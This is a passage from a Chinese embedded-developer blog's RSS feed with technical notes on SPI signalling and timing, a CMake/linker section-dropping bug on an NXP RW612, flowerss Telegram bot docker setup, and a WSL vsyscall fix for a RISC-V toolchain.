</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># on windows, use xmake and MinGW</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">$ xmake f -p mingw --sdk<span class="o">=</span>E:<span class="se">\w</span>orkspace<span class="se">\t</span>ools<span class="se">\w</span>inlibs-x86_64-posix-seh-gcc-13.2.0-mingw-w64msvcrt-11.0.1-r2<span class="se">\m</span>ingw64
</span></span><span class="line"><span class="cl">$ xmake
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
    <item>
      <title>SPI 接口笔记整理</title>
      <link>https://hacperme.com/posts/notes/20231223_spi/</link>
      <pubDate>Sat, 23 Dec 2023 22:39:16 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20231223_spi/</guid>
      <description>spi 相关笔记整理</description>
      <content:encoded><![CDATA[<h2 id="spi-介绍">spi 介绍</h2>
<h3 id="接口及特点">接口及特点</h3>
<p>标准 spi 接口有4根信号线。</p>
<table>
<thead>
<tr>
<th>信号</th>
<th>作用</th>
<th>方向</th>
</tr>
</thead>
<tbody>
<tr>
<td>SCLK</td>
<td>时钟信号线，用于通讯数据同步</td>
<td>master-&gt;slave</td>
</tr>
<tr>
<td>MOSI</td>
<td>主设备输出</td>
<td>master-&gt;slave</td>
</tr>
<tr>
<td>MISO</td>
<td>主设备输入</td>
<td>slave-&gt;master</td>
</tr>
<tr>
<td>CS</td>
<td>从设备选择信号线，常称为片选信号线，也称为NSS、SS，拉低使能。</td>
<td>master-&gt;slave</td>
</tr>
</tbody>
</table>
<p>spi flash 是一种常见的 spi 外设，通常接口有4~6根信号线。为了提高性能，spi flash 支持  Dual SPI 和 Quad SPI 模式，引入更多信号线来传输数据。</p>
<table>
<thead>
<tr>
<th>信号</th>
<th>作用</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLK</td>
<td>Serial Clock Input</td>
</tr>
<tr>
<td>DI/MOSI(IO0)</td>
<td>Serial Data Input(Data input output 0)</td>
</tr>
<tr>
<td>DO/MISO(IO1)</td>
<td>Serial Data Output(Data input output 1)</td>
</tr>
<tr>
<td>WP#(IO2)</td>
<td>Write Protect (Data input output 2)</td>
</tr>
<tr>
<td>HOLD# / RESET# (3) (IO3)</td>
<td>Hold or Reset input(Data input output 3)</td>
</tr>
<tr>
<td>CS</td>
<td>Chip Enable</td>
</tr>
</tbody>
</table>
<p>标准的 SPI 中 Master 到 Slave 和 Slave 到 Master 数据传输分别是一根信号线。</p>
<p>Dual SPI 就是让原来的 MISO 和 MOSI 都可以同时发送数据，实际并未增加信号线。</p>
<p>Quad SPI 则是又额外添加了两个信号线来进行数据传输，总共4根信号线同时发送数据。人们常说4线spi flash、6线 spi flash，从信号线接线可以看出区别。</p>
<p>还有一个常见 spi 外设是 spi 串口屏接口，通常带 spi LCM 外设的芯片，其屏幕的 spi 接口并不是标准的 4 线 spi（四根信号线：CS, MOSI, MISO, CLK），而是专用的 spi 接口，在接口上的区别主要在于4 线 spi 和 3 线 spi 接口的区别、1 data line 和 2 data line 的区别以及Ⅰ 型 和 Ⅱ 型屏的区别，具体可参考之前的文章：<a href="https://hacperme.com/posts/notes/2022-06-19-spi-lcd-interface/">常见的 SPI LCD 接口分类</a>。</p>
<h3 id="spi-时钟模式">spi 时钟模式</h3>
<p>spi 一共有4种工作模式，分别对应不同的极性CPOL（Clock POLarity）和相位CPHA(Clock PHAse) 组合。</p>
<p>极性，SPI空闲时时钟信号SCLK的电平（0:空闲为低电平; 1:空闲为高电平），时序图里面看CS拉高时候的CLK电平。</p>
<p>相位，SPI在SCLK第几个边沿开始采样（0:第一个边沿采样; 1:第二个边沿采样）。</p>
<p>标准spi协议在一个时钟边沿发送数据，在另一个时钟边沿采样数据。而CPOL CPHA 的配置决定了 spi 通信在什么时候修改数据，以及在什么时候采样数据，这对于看波形来说是必须要知道的。</p>
<table>
<thead>
<tr>
<th>模式</th>
<th>CPOL</th>
<th>CPHA</th>
<th>采样时间</th>
</tr>
</thead>
<tbody>
<tr>
<td>mode0</td>
<td>0</td>
<td>0</td>
<td>下降沿修改数据，上升沿采样</td>
</tr>
<tr>
<td>mode1</td>
<td>0</td>
<td>1</td>
<td>下降沿采样，上升沿修改数据</td>
</tr>
<tr>
<td>mode2</td>
<td>1</td>
<td>0</td>
<td>下降沿采样，上升沿修改数据</td>
</tr>
<tr>
<td>mode3</td>
<td>1</td>
<td>1</td>
<td>下降沿修改数据，上升沿采样</td>
</tr>
</tbody>
</table>
<p>对于 spi flash，通常支持 mode0 和 mode3，即都是在下降沿送数据，上升沿采样。</p>
<h2 id="spi-波形">spi 波形</h2>
<p>下面是使用逻辑分析仪抓取 stm32 spi master 与 ecr6600 slave 通信时的波形，工作在模式0。</p>
<p>ecr6600 slave 的通信时序是 cmd dummy data，各占一个字节，cmd 为 0x0B 时读取slave的数据，cmd 为 0x51 时写入数据到slave。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/147ecfe10c190cd311b3a4f19c30091.r01x8f9zcu8.webp" alt=""  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/c8ec89e7026d1b0a541a08b3aca46a4.4tec7nv8ji40.webp" alt=""  />
</p>
<p>SPI 是全双工通信的，发送的同时也在接收。 什么时候收，什么时候发其实都由 master 控制，通常外设需要等到主机发送了命令才知道自己要接收数据还是要回复数据，以及回复什么数据，所以很多时候命令设计成了事实上的半双工：前半部分主机在发命令，外设发送无用的数据（dummy）；后半部分外设在发送响应，主机发送无用的数据（dummy）。</p>
<p>前面 stm32 spi master 与 ecr6600 slave 通信时发现一个特点，连续收发数据的时候时钟不连续，每收发两个字节数据之间时钟有空隙，其实是 stm32 master 这边没有开 dma 导致的。 当使用dma传输时，连续收发数据时钟便是连续的。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.4du9xolmnd40.webp" alt=""  />
</p>
<h2 id="高频下的spi通信问题">高频下的spi通信问题</h2>
<p>在 <a href="https://www.byteparadigm.com/files/documents/Using-SPI-Protocol-at-100MHz.pdf">Using-SPI-Protocol-at-100MHz</a> 中描述了 spi 通信时信号的延时路径，示例为 master 读取 slave 数据。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.5vh5l1dbbhs0.png" alt=""  />
</p>
<p>在高频情况下，需要考虑 master 到 slave 之间 clk 的传输延迟、slave 收到clk之后到数据输出到数据线上的延迟（slave 的响应速度）、slave 输出数据到 master 接收数据线上的延迟。</p>
<p>Tsamp 是 mater 采样数据的可用时间，计算方式如下：</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.aluyt00pb4k.webp" alt=""  />
</p>
<p>在4MHz下没有问题。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.41zttlpjjv20.webp" alt=""  />
</p>
<p>但在100MHz下，Tsamp 的时间不够。100MHz 下时钟周期是10ns，要求 slave 收到master 时钟信号后，要在 5 ns 内准备好发送的数据（做出响应），实际上这样的响应速度很难做到。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.grb08dad6dk.webp" alt=""  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.7dcej6baeq80.webp" alt=""  />
</p>
<p>怎么解决这个问题呢？</p>
<p>文档中提到3个办法：</p>
<ul>
<li>
<p>缩短二者的通信距离，提高slave的响应速度，影响甚微。</p>
</li>
<li>
<p>降频。降频自然是可行的，按照前面的示例，时钟频率最大不超过53MHz才能正常通信。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.38dnrkf6tso0.webp" alt=""  />
</p>
</li>
<li>
<p>延迟采样，延迟半个或者1个时钟周期采样。100MHz 下时钟周期是10ns，延时半个时钟周期采样则有10ns的时间给slave准备发送数据，延时1个时钟周期采样则有15ns的时间给slave准备发送数据。</p>
</li>
</ul>
<h2 id="资料">资料</h2>
<ul>
<li><a href="https://www.cnblogs.com/zqb-all/p/12153583.html">spinor/spinand flash之高频通信延迟采样</a></li>
<li><a href="https://jia.je/kb/hardware/spi.html">SPI (Serial Peripheral Interface)</a></li>
<li><a href="https://www.byteparadigm.com/files/documents/Using-SPI-Protocol-at-100MHz.pdf">Using-SPI-Protocol-at-100MHz</a></li>
<li><a href="https://hacperme.com/posts/notes/2022-06-19-spi-lcd-interface/">常见的 SPI LCD 接口分类</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>cmake 构建环境下自定义 section 失效的问题</title>
      <link>https://hacperme.com/posts/notes/20231217_cmake_customized_section/</link>
      <pubDate>Sun, 17 Dec 2023 17:04:49 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20231217_cmake_customized_section/</guid>
      <description>cmake 构建系统下通过 &lt;strong&gt;attribute&lt;/strong&gt;((section(&amp;quot;.xx&amp;quot;), used)) 指定代码存储位置，保留代码被优化删除的问题。</description>
      <content:encoded><![CDATA[<p>由于项目需要，前几天在调整 NXP RW612 MCU wifi SDK 的构建系统，由原来的 cmake+mingw+make+armgcc 调整为 cmake+kcongfig+ninja+mingw+armcc。构建系统调整完成之后，发现烧录固件设备无法启动，而未调整之前编译出来的固件是正常的。</p>
<h2 id="查找原因">查找原因</h2>
<p>对比二者编译生成的固件镜像文件，旧构建系统生成的固件比新构建系统生成的固件文件大小大一点。首先怀疑的是否是一些宏定义没启用，部分代码被屏蔽了而未编译进去，经过一些测试和检查之后发现不是这个问题。接下来从map文件着手，对比发现map文件有差异。</p>
<p>旧构建系统的map信息：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bat" data-lang="bat"><span class="line"><span class="cl">.flash_config   0x08000000     0x1000
</span></span><span class="line"><span class="cl">                0x08000000                . = ALIGN (0x4)
</span></span><span class="line"><span class="cl"> FILL mask 0xff
</span></span><span class="line"><span class="cl">                0x00000400                . = 0x400
</span></span><span class="line"><span class="cl"> *fill*         0x08000000      0x400 ff
</span></span><span class="line"><span class="cl">                0x08000400                __FLASH_BASE = .
</span></span><span class="line"><span class="cl"> *(.flash_conf)
</span></span><span class="line"><span class="cl"> .flash_conf    0x08000400      0xc00 out/libs/libmcux_sdk_module_lib.a(flash_config.c.obj)
</span></span><span class="line"><span class="cl">                0x08000400                flexspi_config
</span></span><span class="line"><span class="cl">                0x00001000                . = 0x1000
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">.interrupts     0x00001000      0x280 load address 0x08001000
</span></span><span class="line"><span class="cl">                0x00001000                . = ALIGN (0x4)
</span></span><span class="line"><span class="cl">                0x00001000                __VECTOR_TABLE = .
</span></span><span class="line"><span class="cl">                0x00001000                __Vectors = .
</span></span></code></pre></td></tr></table>
</div>
</div><p>新构建系统的map信息：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bat" data-lang="bat"><span class="line"><span class="cl">.flash_config   0x08000000     0x1000
</span></span><span class="line"><span class="cl">                0x08000000                . = ALIGN (0x4)
</span></span><span class="line"><span class="cl"> FILL mask 0xff
</span></span><span class="line"><span class="cl">                0x00000400                . = 0x400
</span></span><span class="line"><span class="cl"> *fill*         0x08000000      0x400 ff
</span></span><span class="line"><span class="cl">                0x08000400                __FLASH_BASE = .
</span></span><span class="line"><span class="cl"> *(.flash_conf)
</span></span><span class="line"><span class="cl">                0x00001000                . = 0x1000
</span></span><span class="line"><span class="cl"> *fill*         0x08000400      0xc00 ff
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">.interrupts     0x00001000      0x280 load address 0x08001000
</span></span><span class="line"><span class="cl">                0x00001000                . = ALIGN (0x4)
</span></span><span class="line"><span class="cl">                0x00001000                __VECTOR_TABLE = .
</span></span><span class="line"><span class="cl">                0x00001000                __Vectors = .
</span></span></code></pre></td></tr></table>
</div>
</div><p>旧的构建系统有将 flash_config.c.obj 的代码 flexspi_config 存储在 .flash_config 这个 section，而新的固件却没有，整个map文件都查不到 flexspi_config  的信息。根据 flash_config.c 的代码在这篇文章<a href="https://www.cnblogs.com/henjay724/p/15085155.html">痞子衡嵌入式：深扒i.MXRTxxx系列ROM中集成的串行NOR Flash启动SW Reset功能及其应用场合</a>中找到 flexspi_config 的作用：flexspi_config 是固件镜像的启动头 FDCB，bootrom 用来给 FlexSPI 外设初始化 flash 用的。对比两个镜像文件也能看到差异，一个有 FDCB，一个没有。
<img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.6so0kh3g44w0.webp" alt=""  />
</p>
<p>那么 FDCB 是怎么生成的呢？</p>
<p>查看 RW612 的 ld 文件：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">/* Entry Point */
</span></span><span class="line"><span class="cl">ENTRY(Reset_Handler)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">HEAP_SIZE  = DEFINED(__heap_size__)  ? __heap_size__  : 0x400;
</span></span><span class="line"><span class="cl">STACK_SIZE = DEFINED(__stack_size__) ? __stack_size__ : 0x400;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">/* Specify the memory areas */
</span></span><span class="line"><span class="cl">MEMORY
</span></span><span class="line"><span class="cl">{
</span></span><span class="line"><span class="cl">  m_flash               (RX)  : ORIGIN = 0x08000000, LENGTH = 0x00200000
</span></span><span class="line"><span class="cl">  m_interrupts          (RX)  : ORIGIN = 0x00001000, LENGTH = 0x00000280
</span></span><span class="line"><span class="cl">  m_text                (RX)  : ORIGIN = 0x00001280, LENGTH = 0x000B9080
</span></span><span class="line"><span class="cl">}
</span></span><span class="line"><span class="cl">/* 0x2012_3000 - 0x2012_FFFF is reserved for BootROM usage */
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">/* Define output sections */
</span></span><span class="line"><span class="cl">SECTIONS
</span></span><span class="line"><span class="cl">{
</span></span><span class="line"><span class="cl">  .flash_config :
</span></span><span class="line"><span class="cl">  {
</span></span><span class="line"><span class="cl">    . = ALIGN(4);
</span></span><span class="line"><span class="cl">    FILL(0xFF)
</span></span><span class="line"><span class="cl">    . = 0x400;
</span></span><span class="line"><span class="cl">    __FLASH_BASE = .;
</span></span><span class="line"><span class="cl">    KEEP(* (.flash_conf))     /* flash config section */
</span></span><span class="line"><span class="cl">    . = 0x1000;
</span></span><span class="line"><span class="cl">  } &gt; m_flash
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  /* The startup code goes first into internal ram */
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  /*....*/
</span></span><span class="line"><span class="cl">}
</span></span></code></pre></td></tr></table>
</div>
</div><p>在flash的起始地址定义了一个 4K大小的 .flash_config section，前面填充 1K 0xFF, 后面开始存储 flash_conf 的代码。
在 boards\rdrw612bga\flash_config\flash_config.c 也指定了将代码放到 flash_conf section： <strong>attribute</strong>((section(&quot;.flash_conf&quot;), used))</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#if defined(BOOT_HEADER_ENABLE) &amp;&amp; (BOOT_HEADER_ENABLE == 1)
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#if defined(__ARMCC_VERSION) || defined(__GNUC__)
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="nf">__attribute__</span><span class="p">((</span><span class="nf">section</span><span class="p">(</span><span class="s">&#34;.flash_conf&#34;</span><span class="p">),</span> <span class="n">used</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#elif defined(__ICCARM__)
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#pragma location = &#34;.flash_conf&#34;
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="k">const</span> <span class="kt">fc_flexspi_nor_config_t</span> <span class="n">flexspi_config</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="p">.</span><span class="n">memConfig</span> <span class="o">=</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="p">.</span><span class="n">tag</span>                 <span class="o">=</span> <span class="n">FC_BLOCK_TAG</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="p">.</span><span class="n">version</span>             <span class="o">=</span> <span class="n">FC_BLOCK_VERSION</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="p">.</span><span class="n">readSampleClkSrc</span>    <span class="o">=</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="p">.</span><span class="n">csHoldTime</span>          <span class="o">=</span> <span class="mi">3</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="p">.</span><span class="n">lookupTable</span> <span class="o">=</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="cm">/* Read */</span>
</span></span><span class="line"><span class="cl">                    <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nf">FC_FLEXSPI_LUT_SEQ</span><span class="p">(</span><span class="n">FC_CMD_SDR</span><span class="p">,</span> <span class="n">FC_FLEXSPI_1PAD</span><span class="p">,</span> <span class="mh">0xEC</span><span class="p">,</span> <span class="n">FC_RADDR_SDR</span><span class="p">,</span> <span class="n">FC_FLEXSPI_4PAD</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">                    <span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nf">FC_FLEXSPI_LUT_SEQ</span><span class="p">(</span><span class="n">FC_DUMMY_SDR</span><span class="p">,</span> <span class="n">FC_FLEXSPI_4PAD</span><span class="p">,</span> <span class="mh">0x0A</span><span class="p">,</span> <span class="n">FC_READ_SDR</span><span class="p">,</span> <span class="n">FC_FLEXSPI_4PAD</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">                    <span class="cm">/* chip erase */</span>
</span></span><span class="line"><span class="cl">                    <span class="p">[</span><span class="mi">4</span> <span class="o">*</span> <span class="mi">11</span> <span class="o">+</span> <span class="mi">0</span><span class="p">]</span> <span class="o">=</span>
</span></span><span class="line"><span class="cl">                        <span class="nf">FC_FLEXSPI_LUT_SEQ</span><span class="p">(</span><span class="n">FC_CMD_SDR</span><span class="p">,</span> <span class="n">FC_FLEXSPI_1PAD</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="n">FC_STOP_EXE</span><span class="p">,</span> <span class="n">FC_FLEXSPI_1PAD</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">                <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="p">.</span><span class="n">pageSize</span>           <span class="o">=</span> <span class="mh">0x100</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">.</span><span class="n">sectorSize</span>         <span class="o">=</span> <span class="mh">0x1000</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">.</span><span class="n">ipcmdSerialClkFreq</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">.</span><span class="n">blockSize</span>          <span class="o">=</span> <span class="mh">0x8000</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">.</span><span class="n">fcb_fill</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>        <span class="o">=</span> <span class="mh">0xFFFFFFFF</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#endif </span><span class="cm">/* BOOT_HEADER_ENABLE */</span><span class="cp">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>那么为什么 FDCB 在新的构建系统下没有生成呢？</p>
<p>我发现二者的差异在于旧构建系统是将flash_config.c放到了构建可执行文件目标的源码里面 add_executable。而新的构建系统是将 flash_config.c 放到构建静态库的源码里面 add_library，然后在构建可执行目标文件的时候通过添加依赖的lib target_link_libraries 加入，在最终链接的时候由于 flash_config.c 的代码未使用而被删除了，即使配置了 <strong>attribute</strong>((section(&quot;.flash_conf&quot;), used)) 也会删除，这个应该是 cmake 的问题。</p>
<p>解决办法有两个：</p>
<ol>
<li>将 flash_config.c 放到构建可执行目标的源码里面。</li>
<li>找个地方调用一下 flash_config.c 里的变量或者函数，避免未使用而被优化。</li>
</ol>
<p>使用 cmake 构建系统时需要留意这个坑，如果需要自定义 section 指定变量或者函数的存储位置，要留意代码有没有被使用和是否是在构建可执行的目标的源码中，不然即便设置了 <strong>attribute</strong>((section(&quot;.xx&quot;), used)) 也还是会被优化删除。</p>
<h2 id="资料">资料</h2>
<ul>
<li><a href="https://www.cnblogs.com/henjay724/p/15085155.html">痞子衡嵌入式：深扒i.MXRTxxx系列ROM中集成的串行NOR Flash启动SW Reset功能及其应用场合</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>flowerss bot 安装与迁移</title>
      <link>https://hacperme.com/posts/notes/20231210_flowrss_docker_install/</link>
      <pubDate>Mon, 11 Dec 2023 00:08:42 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20231210_flowrss_docker_install/</guid>
      <description>记录 flowerss bot 的安装与迁移方法</description>
      <content:encoded><![CDATA[<p>flowerss bot 是一个开源的 Telegram RSS Bot，支持自建和docker部署，目前主要用来订阅自己的博文以及推送到 Telegram 频道。</p>
<h2 id="安装">安装</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># 下载配置模板</span>
</span></span><span class="line"><span class="cl">mkdir ~/flowerss <span class="o">&amp;&amp;</span><span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>wget -O ~/flowerss/config.yml <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>    https://raw.githubusercontent.com/indes/flowerss-bot/master/config.yml.sample
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 修改配置文件</span>
</span></span><span class="line"><span class="cl">vim ~/flowerss/config.yml
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 运行</span>
</span></span><span class="line"><span class="cl">docker run -d --restart<span class="o">=</span>always -v ~/flowerss:/root/.flowerss indes/flowerss-bot
</span></span></code></pre></td></tr></table>
</div>
</div><p>注意：</p>
<ul>
<li>docker 容器挂载的路径 root/.flowerss 不要修改，不然无法启动。</li>
<li>数据库的文件位置放在 /root/.flowerss 路径下，不要修改，方便备份。</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">sqlite</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">path</span><span class="p">:</span><span class="w"> </span><span class="l">/root/.flowerss/data.db</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</div>
</div><ul>
<li>bot_token 必须配置。 可以配置 allowed_users 的用户id, 限制只能自己使用。</li>
</ul>
<h2 id="备份--迁移">备份 &amp; 迁移</h2>
<p>只要备份 ~/flowerss 这个目录，迁移到新的主机也只需要复制 ~/flowerss 下的文件，执行 <code>docker run -d --restart=always -v ~/flowerss:/root/.flowerss indes/flowerss-bot</code>安装即可。</p>
<h2 id="链接">链接</h2>
<ul>
<li><a href="https://github.com/indes/flowerss-bot">https://github.com/indes/flowerss-bot</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>riscv32-elf-gcc 在 wsl 上出现 Segmentation fault</title>
      <link>https://hacperme.com/posts/notes/20231202_riscv32-elf-gcc_segmentation_fault/</link>
      <pubDate>Sat, 02 Dec 2023 21:41:22 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20231202_riscv32-elf-gcc_segmentation_fault/</guid>
      <description>解决 riscv32-elf-gcc 在 wsl 上运行出现 Segmentation fault 问题</description>
      <content:encoded><![CDATA[<p>BK7256 的开发环境需要用到 RISCV 工具链，下载官方的工具链 <a href="https://dl.bekencorp.com/tools/toolchain/riscv/toolchain_v5.2.1.tar.gz">toolchain_v5.2.1.tar.gz</a>, 在 WSL 下编译 C 源码的时候出现 Segmentation fault 错误，运行不了。后面找到原因是 vsyscall 没开启导致的，后面遇到类似问题可以往这个方向排查。</p>
<p>WSL 开启 vsyscall 的方法如下：</p>
<p>用户根目录创建配置文件 .wslconfig，在 wsl2 下添加 <code>kernelCommandLine = vsyscall=emulate</code></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yml" data-lang="yml"><span class="line"><span class="cl"><span class="p">[</span><span class="l">wsl2]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="l">kernelCommandLine = vsyscall=emulate</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</div>
</div><h2 id="参考资料">参考资料</h2>
<ul>
<li><a href="https://learn.microsoft.com/en-us/windows/wsl/wsl-config">Advanced settings configuration in WSL</a></li>
<li><a href="https://bbs.archlinuxcn.org/viewtopic.php?id=13753">riscv32-elf-gcc在archlinux上直接Segmentation fault</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>搭建 Flask Htmlx daisyUI 开发环境</title>
      <link>https://hacperme.com/posts/notes/20231028_flask_htmlx_tailwindcss/</link>
